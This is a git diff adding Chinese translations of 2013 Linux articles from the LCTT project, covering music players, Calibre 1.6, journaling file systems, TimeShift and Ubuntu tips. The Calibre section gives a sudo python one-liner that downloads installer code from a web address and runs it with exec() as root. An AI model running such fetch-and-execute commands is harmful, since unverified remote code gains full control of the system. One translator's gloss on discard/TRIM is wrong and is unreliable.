+![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-3.jpg) + +Audacious还配备了三个不同的可以使老用户回到以前所用的“真正的”音频播放器的可视化模型,并且所有的都可以修改和定制。 + +所有你期望一个媒体播放器所具有的其他选项,它都具有,谈论他们不是主要目的。您可以导入播放列表,设置重复播放,甚至还有一个非常简单和良好的均衡器。 + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-10.jpg) + +Audacious的优势之一是默认包括的音效,如去除人声,采样率转换器,通道混合器,速度和间距,以及更多。 + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-6.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-5.jpg) + +从偏好设置里,大量的插件也可以被激活,如:专辑封面,歌词,状态图标,GNOME快捷键以及其它的一些等等。请注意,所有这些插件在默认情况下是禁用的,他们得由用户手工开启,以便使界面干净漂亮。 + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-7.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-8.jpg) + + +![](http://i1-news.softpedia-static.com/images/news2/Audacious-Review-387093-9.jpg) + +**不足** + +关于此软件的评论,我可能会有点主观,因为我真的不能忍受过于复杂的音频播放器,Audacious正对我的胃口。但是,说句公道话,我曾经是爱过能够添加排序字段的播放列表功能的。 + +这款应用还具备第二个“Winamp”模式的特性,这使它看起来像Windows平台上的Winamp播放器,不幸的是,每次我试着激它的时候Audacious崩溃了,但也可能是因为Ubuntu13.10目前还不稳定。 + + + + + + + + + +**Audacious 3.4.1: 免费下载** + +- [Audacious 3.4.1 tar.bz2][1][sources] [464 KB] +- [Ubuntu 12.10 (Repository)][2][ubuntu_deb] [0 KB] +- [Red Hat/Fedora/Mandriva/openSUSE RPM (Repository)][2][rh_rpm] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://www.softpedia.com/reviews/linux/Audacious-Review-387093.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://linux.cn/space/wxy) + +[1]:http://distfiles.audacious-media-player.org/audacious-3.4.1.tar.bz2 +[2]:http://audacious-media-player.org/download diff --git a/published/201310/Banshee Music Player Sees First Release In 12 Months.md b/published/201310/Banshee Music Player Sees First Release In 12 Months.md new file mode 100644 index 0000000000..4f8937172d --- /dev/null +++ b/published/201310/Banshee Music Player Sees First Release In 12 Months.md @@ -0,0 +1,44 @@ +Banshee音乐播放器将在等待了一年后再次发布新版本 +==================================== + +就像等待首张专辑一样,实际上Banshee音乐播放器的粉丝们也等待了很长一段时间了——12个月了。 + +![img](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/tile-template4.jpg) + +[Banshee 2.9.0版本的发布][1], 在通往下一个稳定版本道路上的首个里程碑 (Banshee 3.0, 真正的粉丝),修复了36个漏洞,实现了应用移植到GTK3(绝对不是一件简单的事情)并且增加了和塞班手机同步音乐的功能。(*这是让所有的N95用户都会激动的功能*) + +其他改进包括: + +- 支持GNOME软件市场上架 +- 提交成功的Scrobble将会更快 +- AMR文件导入 +- 更精确的寻找 +- 针对Unity & GNOME Shell的关键字寻找 +- 现在能够在会话间记住DAP源 + +距离最新版发布的时间将不会太长。 我很看好Banshee [一个支持专辑封面浏览的播放器][2]。 + +**获得Banshee 2.9.0** + +目前为止还没有任何关于这个最新版本什么时候才能在Ubuntu上可用的消息。 + +但是,如果你想为安装它做准备的话,你可以添加Banshee团队的PPA。这能在不远的将来,升级最新的Banshee或者任何需要关联它而运行的程序时会用到。 + + sudo add-apt-repository ppa:banshee-team/ppa + sudo apt-get update && sudo apt-get install banshee + +一旦安装完成,Banshee能够通过Unity Dash,GNOME Shell激活角(activities overlay)或者Mint Menu启动。 + +-------------------------------------------------------------------------------- + +来自: http://www.omgubuntu.co.uk/2013/10/banshee-music-player-2-9-0-released + +(译注,本文的原文已经重新发布,和译文的历史版本不同。) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](http://blog.csdn.net/scusjs) 校对:[wxy](https://github.com/wxy) + + +[1]:http://banshee.fm/download/archives/2-9-0/ +[2]:http://www.omgubuntu.co.uk/2013/10/coverart-browser-for-linux-music-players \ No newline at end of file diff --git a/published/201310/Calculator App updated with optimized show-hide calculation description.md b/published/201310/Calculator App updated with optimized show-hide calculation description.md new file mode 100644 index 0000000000..604c50846b --- /dev/null +++ b/published/201310/Calculator App updated with optimized show-hide calculation description.md @@ -0,0 +1,41 @@ +Calculator App优化更新了计算说明的显示/隐藏 +===================================== + +[Ubuntu Touch Core Apps][1]是一个官方的项目,目前正在定制一套核心应用程序,应用程序包括从音乐播放器到天气工具和RSS阅读器。 + +在丰富的核心应用程序里面也有一个Calculator App,在界面漂亮的计算器里面融合了方便有效的功能。 + +[Calculator App][2]的小幅度更新版本,进一步改进了其功能,给用户提供了一个更加友好和好用的应用程序以及一站式服务的功能使用。 + +启用Calculator App,用户要注意每个位于计算区域的单色铅笔图标,点击它,呈现出多个下划线,可以在这里按需写下有关计算的评论(例如,比萨饼花费接近20美元)。 + +新版本Calculator App增加一个铅笔图标的优化功能,这样,点击现在的铅笔图标,呈现出星状下划线(使区域可编辑),再次点击铅笔图标,隐藏星状下划线,铅笔区域不可编辑。 + +![](http://iloveubuntu.net/pictures_me/calculator%20app%20show%20hide%20labels.png) + +前面提到的优化大幅度增加清晰度,允许用户一键点击/选择去转移计算区域作为可写或不可写。 + +怎样 **安装** Calculator App 0.1.3? + +添加以下 **官方** PPA(Ubuntu 13.04,Ubuntu 13.10) + + sudo add-apt-repository ppa:ubuntu-sdk-team/ppa && sudo add-apt-repository ppa:ubuntu-touch-coreapps-drivers/daily + + sudo apt-get update + sudo apt-get install ubuntu-sdk ubuntu-calculator-app + +--- + +via: + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:https://launchpad.net/ubuntu-phone-coreapps +[2]:https://launchpad.net/ubuntu-calculator-app diff --git a/published/201310/Calibre 1.6 released with handy mark-book feature.md b/published/201310/Calibre 1.6 released with handy mark-book feature.md new file mode 100644 index 0000000000..9cf7016f24 --- /dev/null +++ b/published/201310/Calibre 1.6 released with handy mark-book feature.md @@ -0,0 +1,53 @@ +Calibre 1.6 正式发布:更方便的标记图书功能 +==== + +[Calibre][1]是一个免费的开源电子图书馆管理工具,令人心动的设计思想,综合了电子书相关范畴的要求和需求,提供了强大的转换处理,专注于电子书的阅读,轻而易举的创建和管理书库,集成在线服务等,总而言之,给你真真正正的现代化电子书阅读体验。 + +Calibre 已经更新到**1.6**版本,已有的**标记图书**(book-marking)功能,做了大量的修补和功能增强。 + +**标记图书**作为一种**暂定**选书的简便方式(重启Calibre后就会失去标记),允许用户标记某本图书,再点击已标记的图书便取消该标记,该特性能在很多场景提供便利。 + +最新实现的标记图书功能并没有默认开启,当然,开启它也是很容易的。`首选项(Prefences)-->工具栏(Toolbar)-->主工具栏(The main toolbar)-->点击标记图书(Mark Books)-->点击左端的箭头-->应用(Apply)`,之后在工具栏上就有图书标记按钮。 + +举个例子,**标记**你选择的三本书(按住Ctrl键,并点击选定的三本图书),也可以通过工具栏上的按钮,标记图书。 + +最新标记的三本书将显示一个特殊标记的图标,这样用户可以清楚的找到标记的书本。 + +![](http://iloveubuntu.net/pictures_me/calibre%2016%20marking%20books.png) + +在标记图书后,用户可以通过'右击标记按钮-->显示标记书本'来只显示已标记的图书,同时隐藏未标记的图书。 + +在有些时候想清楚观察重点图书,图书标记功能允许用户轻而易举的分离出偏爱的图书,只需要花几秒钟点击标记按钮,即可清楚的展示某本书。 + +再次选择标记图书或再点击标记图书按钮,将取消标记,按钮在标记/不标记之间切换。 + +Calibre默认携带了好用的电子书阅读器,在1.6版本增加了额外的快捷键配置,意味着现在用户能通过自己的喜好制定不同的**快捷键**例如放大缩小。 + +打开电子书阅读器之前先调整快捷键,点击工具条的首选项来设置快捷键,双击一个条目进行编辑。 + +![](http://iloveubuntu.net/pictures_me/calibre%20font%20size%20shortcut.png) + +以上提及的特性,连同大量的bug的修补、增加了最新的新闻源(一些的乌拉圭的新闻)和改进了一些新闻源(国家地理杂志,纽约书评,聚焦,Carta Capital,Ming Pao,Neu Osnabrucker Zeitung),去感受更强大的Calibre吧! + +###我们怎么**安装**Calibre 1.6呢? + +复制以下命令到终端 + + sudo python -c "import sys; py3 = sys.version_info[0] > 2; u = __import__('urllib.request' if py3 else 'urllib', fromlist=1); exec(u.urlopen('http://status.calibre-ebook.com/linux_installer').read()); main()" + +按回车键,出现`Enter the installation directory for calibre [/opt]`再按回车键 + +如果用户通过PPA安装了Calibre,那么请先执行下列命令(在执行以上命令之前)。 + + sudo apt-get remove calibre calibre-bin + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/calibre-16-released-handy-mark-book-feature + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:http://calibre-ebook.com/ diff --git a/published/201310/Canonical is gold sponsor at October 2013's OggCamp open-source event.md b/published/201310/Canonical is gold sponsor at October 2013's OggCamp open-source event.md new file mode 100644 index 0000000000..b0b92e3d2f --- /dev/null +++ b/published/201310/Canonical is gold sponsor at October 2013's OggCamp open-source event.md @@ -0,0 +1,34 @@ +Canonical成为2013年10月份奥格夏令营开源活动的金牌赞助商 +=============================================== + +[奥格夏令营(OggCamp)][1]是一个快乐有趣的聚会,计算机达人们聚在一起,“整个周末都充满乐趣”。夏令营成员们一起生活,一起讨论,内容涵盖自由开源软件、知识共享、项目协作以及天才黑客活动等一切热门话题。 + +下一届奥格夏令营将于2013年10月18日星期五召开,20日星期天结束,参与者可以参与会谈与讨论,参与形式为轻松友好的Cafe-Bar形式。 + +本次奥格夏令营仍将由Canonical赞助。作为金牌赞助商,Canonical再一次展示了它对开源项目及开源用户真正的青睐与支持。 + +对奥格夏令营的赞助证明Canonical对开源生态系统足够的重视与积极参与,它同时证明,Canonical在全球范围内深入、持久地推动着开源项目及开源软件的协作与推广。 + +“奥格夏令营并不是一个传统会议,而是参与者自发产生的聚合产物。除了我们即将宣布的计划议题,我们还将在当天宣布3个现场决定的临时议题。这意味着我们需要大家都参与进来,讨论大家的项目、习惯、经验或观点。无论是自由与开源软件、知识共享、硬件破解、或者任何形式的协作活动,只要是与自由文化有关的一切我们都欢迎。” + +![](http://iloveubuntu.net/pictures_me/oggcamp%20october%2013%202013.png) + +当然,发言并不是强迫的。如果你只是想来看看,静静地倾听讨论,或是参观展会、享受party,我们同样欢迎! + +当天,我们将部署一套系统来管理现场,每30分钟为一节,每人最多可以发言2个小节(也就是1小时)。届时如果你需要发言,随时可以求助我们的工作人员。除此以外,同时我们也会组织一些短小精悍的“闪电会谈”。 + +有关奥格夏令营的完整细节,请访问[http://oggcamp.org/event/][2] + +via: http://iloveubuntu.net/canonical-gold-sponsor-october-2013s-oggcamp-open-source-event + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://oggcamp.org/ +[2]:http://oggcamp.org/event/ diff --git a/published/201310/Choosing a Journaling File System.md b/published/201310/Choosing a Journaling File System.md new file mode 100644 index 0000000000..3f24bb8539 --- /dev/null +++ b/published/201310/Choosing a Journaling File System.md @@ -0,0 +1,248 @@ +选择一个日志文件系统 +================ + +通俗的说,计算机的文件系统就是一个像磁盘这样的存储设备如何存储、检索以及管理文件的方式。文件系统需要记录的不仅是文件本身每一个字节,及其在存储设备上的位置,还要存储文件相关的信息。比如,也要存储每个文件的名字、文件存放的层次结构(目录),还有文件的元数据,像文件的修改时间等。 + +虽然在linux上可以使用许多不同的文件系统,但是绝大多数用户很少去关注使用哪一个,它们通常都被忽视了。选择使用什么样的文件系统视情况而定,要考虑的相关因素包括兼容性、性能、还原能力、使用的介质、存储介质的大小和数量、特性,还有安全考虑等。 + + +日志文件系统是一种特殊类型的文件系统,它记录一个被称为日志的追踪文件。日志可以让系统能够修复在异常终止时出现的不一致情况。它通过追踪之前提交到主文件系统的更改。在计算机非正常关机的情况下,任何数据丢失都可被重建。因此,这种文件系统不太可能遭受破坏,并且可以使文件系统快速恢复工作。 + +为了深入了解日志文件系统的使用,我们整理出一个首选列表。 + +现在,让我们讨论一下手边的日志文件系统。 + +- [ext3][1] 许多流行的Linux发行版默认的文件系统 +- [XFS][2] 为高性能和大文件设计的文件系统 +- [Btrfs][3] 校检copy-on-write(写入时复制)文件系统 +- [ext4][4] 由ext3增加许多显著特性和扩展进化而来的文件系统 + + +###ext3 + +ext3,或者叫第三扩展文件系统,它是一个通常被用于Linux内核的日志文件系统。日志功能意味着不用对fsck等待过久和担心损坏元数据。 + +它是包括Debian在内的许多流行的Linux发行版的默认文件系统。ext3 最初发布时间是1999年9月。 + +Ext3 默认保留了%5的可用空间,主要的原因是保证超级用户(root)甚至在文件系统已满的情况下能够登录。 + +> **ext3** + +> 0.9.18 + +>价格 : 免费下载 + +> 大小 : 13.8KB + +> 协议 : GNU GPL + +> 开发者 : Stephen Tweedie + +> 网站 : ftp://ftp.kernel.org/ + +> 支持 : [FAQ][5], [邮件列表][6] + + +特性包括: + +- 简单,健壮,可扩展 +- 内核和用户空间的代码已广泛测试 +- 在ext2上增加的特性 + - 日志 :提高可靠性,并且异常关机后不需要检查文件系统 + - 各种日志模式:日志,有序,写回 + - 文件系统被重新挂载时自动恢复 + - 所有的VFS操作(包括配额)都会记录到日志 + - 添加数据的更新也被记录日志 + - 在线文件系统的扩容 + - 在大目录上使用Htree索引 +- 扩展属性块和大量的inode +- 支持在线文件系统的大小调整 +- 哈希索引的目录 +- 文件/设备都支持日志 +- 目录项中记录文件类型 +- 日志恢复依赖 +- 减少块组的备份 +- 减少超级块的备份 +- 文件可大于2GiB +- 易于自ext2迁移文件系统,而不需要备份,恢复和格式化分区 +- UNIX权限, ACL和其它的安全属性 + +###XFS + +XFS 是一个64位的、高性能的支持文件系统一致性的日志文件系统,由Silicon Graphics公司所开发。是IRIX5.3和以后版本的默认文件系统,后来又移植到Linux内核。 + +XFS结合先进的日志技术和完整的64位寻址还有可扩展的数据结构和算法。 + +XFS从Linux 2.4开始一直留在官方Linux内核内核树。所有现代的Linux发行版都支持XFS。 + +> **XFS** + +> 价格 : 免费下载 + +> 协议 : GNU GPL v2 + +> 开发者 : Silicon Graphics Inc. + +> 网站 : http://oss.sgi.com/projects/xfs/ + +> 支持 : http://XFS.org, [FAQ][7], [邮件列表][8] + +特性包括: + +- 快速恢复 - 意外中断后,重新启动非常快,不受管理文件的数量影响 +- 快速事务 - 提供优越的日志同时尽量减少日志在读取和写入数据事务时对性能的影响 +- 大规模的可扩展性 - 支持最大文件系统为8 EiB - 1(1024PiB - 1) +- 有效分配 - 实现极其复杂的空间管理技术 +- 出色的带宽占用 - 能够提供非常接近底层的硬件本身I/O性能 +- 提供日志文件系统元数据,在实际磁盘块更新前首先写入一个连续的日志来更新文件系统 +- 支持文件系统的挂载卷增长,使文件系统的“冻结”和“解冻”操作支持卷级快照,并提供了一个在线的文件碎片整理工具 +- 实现完整的日志扩展属性 +- 支持ACL语义和在POSIX 1003.1e标准草案的接口描述 +- 兼容NFS +- 使用开源的Samba服务导出XFS文件系统到Microsoft Windows系统 +- 数据管理API(DMAPI/XDSM的)允许实施不修改内核的分层存储管理软件 +- 支持“实时子卷”的概念 - 一个独立的区域只有文件数据存储的磁盘空间 + +###Btrfs + +Btrfs(B-树文件系统)是一个Linux写入时复制(Copy on Write)文件系统。写入时复制(COW)是维护数据集合的副本和使用相同数据处理多个任务时管理资源的优化技术(译者注:用于保留某些数据的原始副本的一种技术。在写入操作修改数据时,会复制数据的原始副本)。 + +这个日志文件系统的目的是给Linux带来更高效的存储管理和更好的数据完整性功能。 + +Btrfs很好的实现了高级特性,同时保持了容错性、可扩展性和可靠性。这个文件系统自2007年以来一直在开发,它的基础代码现在已经到达了一个成熟的水平,其磁盘格式应该不会改变。基础代码还在密集的开发中。 + +Btrfs 首次亮相在Linux2.6.29发布时。Btrfs可以处理多达2^64个字节,少了几百特殊项。 + +> **Btrfs** + +> 价格 : 免费下载 + +> 协议 : GNU GPL + +> 开发者 : Oracle Corporation + +> 网站 : http://btrfs.wiki.kernel.org + +> 支持 : [Btrfs初学者指南][9], [我如何使用Btrfs先进的功能][10], [Btrfs文件系统入门][11] + +> 选择评论: [Josef Bacik][12] + +特性包括: + +- 可扩展,64位文件系统能够跨越卷提供文件,文件系统最大可达16EiB +- 集成了卷管理 +- 在线文件系统的碎片整理 - 可用在卷挂载或在线时整理卷碎片 +- 脱机文件系统检查 +- 在线卷增长和收缩 +- 在线块设备的添加和删除 +- 在线平衡(移动对象在块设备之间来平衡负载) +- 使用B-树结构来存储数据类型和存储在磁盘上的信息点 +- 在线数据擦除发现错误和自动修复文件冗余副本 +- 延迟分配以便更好的磁盘分配 + - 空间高效的打包小文件 + - 空间高效的索引目录 +- 子卷(单独的内部文件系统root) +- 透明压缩(zlib和LZO) +- 容易使用的可写快照,只读快照。在快照目录下,快照被看做一般的目录 +- 发送/接收(以二进制流保存快照之间的差别) +- 数据一致性: + - 内置RAID支持(RAID0,RAID1,RAID5,RAID6和RAID10) 。可用于数据擦除,特别是RAID 1 + - 故障隔离和校验和算法 - 从用户数据分开存储的元数据实现故障隔离 + - 校验数据和元数据(CRC- 32C) ,可以选择关闭数据校验和 + - 即使在一个单一的设备,元数据被冗余存储在两个位置 + - 重建次数 + - 加密 +- 文件克隆(在单个文件写入时复制,或字节范围) +- 原地迁移ext3/4到BTRFS(支持回滚) +- 文件系统seeding +- SSD (闪存)识别(TRIM /丢弃报告重用的空闲块)和优化 +- 文件条带化,文件镜像化,文件条带化+镜像化,单双奇偶校验实现条带化 +- 每个子卷分层配额 +- 基于扩展的文件存储 +- 提供了用户最低限度的调整,以防范滥用 + + +###ext4 + + +ext4,也叫做第四扩展文件系统,是一个由ext3演变而来的Linux日志文件系统。它在Linux内核2.6.28很稳定。 + +ext4的增加了许多重要特性 : 一个单一的连续块的描述符,而不是传统的ext2和ext3所使用的块映射体系。这是一个表示大文件的有效方式,更高效的CPU 利用和更少的元数据的输入输出(I/O)。这也使文件系统检查更快,更加有利的于文件系统规模的增长。 + +> **ext4** + +> 价格 : 免费下载 + +> 协议 : GNU GPL + +> 开发者 :Mingming Cao, Andreas Dilger, Alex Zhuravlev (Tomas), Dave Kleikamp, Theodore Ts'o, Eric Sandeen, others + +> 网站 : http://ext4.wiki.kernel.org + +> 支持 : [Wiki][13], [FAQ][14], [内核新手][15] + +特性包括: + +- 扩展属性块和大量的inode +- 基于扩展的磁盘格式 +- 在线碎片整理 +- 在线文件系统的大小预先调整 +- 哈希索引目录 +- 文件/设备都记录日志 +- 目录项中记录文件类型 +- 使用日志恢复 +- 文件分配扩展格式 +- 支持超过2^32个文件系统块 +- 灵活的块组元数据的位置 +- 减少块组的备份 +- 减少超级块的备份 +- 文件可大于2GiB +- 组描述符校验和稀疏inode表 +- 超过32000个子目录 +- inode特性 + - 更多的inode + - inode的预订 + - 纳秒级时间戳和创建时间 +- 文件可大于2TiB +- 日志校验 - 可以校验日志数据来判断日志块是否发生故障或损坏 +- 可以选择关闭日志 +- 持久预分配 +- 向后兼容ext2和ext3 +- 分配方案: + - 持久预分配 + - 延迟分配 + - 多块分配 + - 条块化感知分配 +- 扩展属性 +- 配额日志 +- 实现 discard/TRIM(译者注:任务相关教学法) + +--- + +via: http://www.linuxlinks.com/article/20130927180305497/JournalingFileSystems.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:ftp://ftp.kernel.org/pub/linux/kernel/people/sct/ext3/ +[2]:http://oss.sgi.com/projects/xfs/ +[3]:http://btrfs.wiki.kernel.org/ +[4]:https://ext4.wiki.kernel.org/index.php/Main_Page +[5]:http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html +[6]:https://listman.redhat.com/archives/ext3-users/ +[7]:http://xfs.org/index.php/XFS_FAQ +[8]:http://xfs.org/index.php/XFS_email_list_and_archives +[9]:http://www.howtoforge.com/a-beginners-guide-to-btrfs +[10]:http://www.oracle.com/technetwork/articles/servers-storage-admin/advanced-btrfs-1734952.html +[11]:http://www.oracle.com/technetwork/articles/servers-storage-admin/gettingstarted-btrfs-1695246.html +[12]:http://static.usenix.org/publications/login/2012-02/openpdfs/Bacik.pdf +[13]:https://ext4.wiki.kernel.org/index.php/Main_Page +[14]:https://ext4.wiki.kernel.org/index.php/Frequently_Asked_Questions +[15]:http://kernelnewbies.org/Ext4 + diff --git a/published/201310/Contacts App updated with enhanced avatar support.md b/published/201310/Contacts App updated with enhanced avatar support.md new file mode 100644 index 0000000000..f8fa7e277f --- /dev/null +++ b/published/201310/Contacts App updated with enhanced avatar support.md @@ -0,0 +1,34 @@ +Ubuntu联系人应用已支持增强的头像功能 +============================== + +为下一代Ubuntu设计的新一代软件们正在通过多方面的支持逐步的建立起来,包括了一套由第三方的程序员和Ubuntu程序员及设计者们一起开发出来的核心应用,以及他们开发出来的越来越多的官方应用。 + +在官方的开发出来的软件们中有一个联系人应用程序,它非常的容易上手,在漂亮的界面里面集成了联系人管理功能。有许多可以编辑的字段、 快速滚动条,此外列出来的项目还会提供一个有趣的相关联系的应用(正在研发中。) + +[联系人应用][1]升级了另外一个附加的功能,就是我们[最近][2]介绍的新功能里,那个叫做联系人头像的功能。 + +在它的上一个版本中,用户可以通过联系人中心支持头像的选择,现在在主界面中也开始支持头像的显示了。 + +这个意思是,点击一个联系人,按下下方的`编辑`按钮来为这个联系人添加一个图片作为头像,来替代之前的单色图标,添加图片后,点击保存。之后回到主界面就能够看到之前添加的头像了,之前的单色图标就被我们替换成刚刚添加的图片。 + +![](http://iloveubuntu.net/pictures_me/contacts%20app%20new%20image%20oct%2011.png) + +此外,头像的四角修饰成了圆角,以美化联系人的显示。甚至在用户选择一个非正方形的图片时候会生成带圆角的缩略图。 + +此外,点击那些已经开启avatar的联系人。点开联系人,在看到用户的图片的地方,可以用新的图片替换掉旧 图片。 + +![](http://iloveubuntu.net/pictures_me/contacts%20app%20enhanced%20avatar.png) + +联系人应用已经[可以][3]在Ubuntu13.10的 Ubuntu软件中心中找到了,已经可以安装使用或测试了。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/contacts-app-updated-enhanced-avatar-support + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[FineFan](https://github.com/FineFan) 校对:[wxy](https://linux.cn/space/wxy) + +[1]:https://launchpad.net/address-book-app +[2]:http://iloveubuntu.net/contacts-app-updated-avatar-editing-support +[3]:apt://address-book-app diff --git a/published/201310/Daily Ubuntu Tips - Restore Your Machine To A Previous State.md b/published/201310/Daily Ubuntu Tips - Restore Your Machine To A Previous State.md new file mode 100644 index 0000000000..f3b0fe5988 --- /dev/null +++ b/published/201310/Daily Ubuntu Tips - Restore Your Machine To A Previous State.md @@ -0,0 +1,37 @@ +Ubuntu——每日小贴士:Linux上的时光机 +============================== + +当我们比较windows和ubuntu时,会发现他们各有千秋。在还原到之前状态的能力方面,Windows做的很好,它可以很好的还原到Windows XP之前的状态,这可以让你在需要修复时节省了很多时间。 + +与此不同的是,Ubuntu并不能让整个系统还原到之前的状态,但是你可以对自己的个人文件或文件夹进行还原。 + +不过,还好现在有了[TimeShift][1],你现在可以像Windows一样将整个Ubuntu系统还原到之前的状态,TimeShift也许没有提供Windows上还原功能的所有功能,但至少已经很接近了。 + +TimeShift是一款开源应用,它提供和Windows上还原系统、Mac上时间机器相同的功能。它会在预定时间内给系统保存快照,并在你需要时通过快照来实现还原。 + +要安装TimeShift,你需要使用如下命令来添加其PPA。 + + sudo apt-add-repository -y ppa:teejee2008/ppa + +然后执行下面的命令来升级系统和安装TimeShift。 + + sudo apt-get update && sudo apt-get install timeshift + +安装完之后在Dash中搜索到TimeShift,启动它并设置好首选项。第一次启动会一些时间来扫描你电脑中的可用空间和需要备份的文件。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/timeshiftubuntu.png) + +启动后可以进行偏好设置,当然你也可以保留默认设置。如果你需要立刻备份时,可以直接点击菜单上的“备份按钮”,当然你也可以在需要时使用它对整个电脑进行还原操作。 + +来试试手吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-restore-machine-previous-state/ + +译者:[Timeszoro](https://github.com/Timeszoro) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:http://teejeetech.blogspot.com/2013/10/introducing-timeshift.html diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 Adding Users To Existing Groups.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 Adding Users To Existing Groups.md" new file mode 100644 index 0000000000..d4bc6ce69b --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 Adding Users To Existing Groups.md" @@ -0,0 +1,40 @@ +每日Ubuntu小技巧——添加用户到已存在的组 +================ + +对于刚开始使用Ubuntu的用户和新手来说,尤其是从Ubuntu中不在包含旧式的用户和组的管理工具后,管理用户和组变的富有挑战性。在先前Ubuntu的版本下,用户可以通过Gnome系统工具下的用户管理工具轻松的管理用户和组。 + +现在,在Ubuntu上没有了这个工具,现在唯一的工具也仅仅允许你创建、管理和删除用户,所以如果你需要在Ubuntu中从组里面添加或删除用户,那么你将需要用到命令行终端或控制台。 + +举个例子,如果你想要让某些用户访问文件或提升他们的访问权限,最好方式就是改变组的权限。你可以创建一个组,接着给这个组正确的权限,在添加用户到组时,用户可以获得与组相同的权限。 + +因为当前Ubuntu不能用工具轻易的管理组权限,这个简洁的教程,将告诉你如何用命令行完成以上操作,这仅仅是一行代码,一旦你理解了,这并不难。 + +开始吧,按**Ctrl-Alt-T**打开终端。 + +查看Ubuntu上所有的组,键入命令`groupmod`并(**连按三次tab键**) + + groupmod <连按三次tab键> + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/groupsubuntuadduser.png) + +这会列出现在你系统上的所有用户组,现在添加用户到已存在的组吧,运行下列命令: + + sudo adduser 用户名 组名 + +例如,如果你想添加Richard到sudo组,运行下列命令: + + sudo adduser richard sudo + +好了,去验证用户的相关组,运行下列命令: + + id richard + +试试吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-users-existing-groups/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 Disable Ubuntu Lock Screen.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 Disable Ubuntu Lock Screen.md" new file mode 100644 index 0000000000..7849dfdea0 --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 Disable Ubuntu Lock Screen.md" @@ -0,0 +1,34 @@ +每日Ubuntu小技巧 —— 禁用Ubuntu的屏幕锁定 +================================== + +当您还是Ubuntu新手时,有一些功能您还无法马上知道。例如,如何修改您的密码、禁用某些功能和创建新用户帐号等。当新用户试用Ubuntu时,经常会问一个问题:如何关闭屏幕锁定或阻止Ubuntu屏幕逐渐变暗。 + +这里为Ubuntu新手准备了一些简单技巧。这些技巧对于Ubuntu高手而言毫无新意,此教程也不是为Ubuntu高手而准备的,它们仅供Ubuntu新手学习使用。 + +Ubuntu被设计成几分钟后就自动锁定,再次使用之前您必须输入密码来解锁。如果这给您带来了太多的麻烦,那么您也许想要关闭这个自动锁屏功能,而这正是下面马上将要介绍的内容。 + +您计算机的自动锁定是出于安全的原因,如果您禁用或关闭了它,您的计算机将不再被锁定,任何可以物理接触到您计算机的人都可以登录并且使用它。如果对您而言,这不是什么大问题,那么继续下面学习具体如何来做。 + +首先,登录Ubuntu,点击控制选项(位于菜单栏的最右边的图标)图标并选择 **系统设置** 。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable.png) + +接着,点击系统设置面板里的“亮度和锁屏”图标 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable1.png) + +最后,关闭“锁定屏幕选项”。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable2.png) + +就是这样了!如果您要重新开启它,那么再次点击“锁定屏幕选项”切换回去即可。屏幕锁定是一个很好的特性,可以保护您的计算机,但如果您知道您的隐私或信息不会有风险,那么您可以禁用它。 + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-disable-ubuntu-lock-screen/ + + +译者:[lenky0401](https://github.com/lenky0401) 